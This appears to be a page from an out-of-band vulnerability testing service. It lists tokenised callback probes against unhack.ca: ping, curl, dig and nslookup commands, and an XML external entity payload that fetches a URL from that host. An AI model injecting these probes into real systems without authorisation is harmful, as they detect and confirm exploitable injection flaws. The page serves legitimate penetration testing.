$ ping -c1 -p 00dae8987d1a3b91af82eca1f717b000 unhack.ca
 

$ curl http://unhack.ca/p/dae8987d1a3b91af82eca1f717b0
 

$ dig dae8987d1a3b91af82eca1f717b0 @unhack.ca
 

$ dig dae8987d1a3b91af82eca1f717b0.ns.unhack.ca
 

C:\> nslookup dae8987d1a3b91af82eca1f717b0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dae8987d1a3b91af82eca1f717b0">]>
    <foo>&xxe;</foo>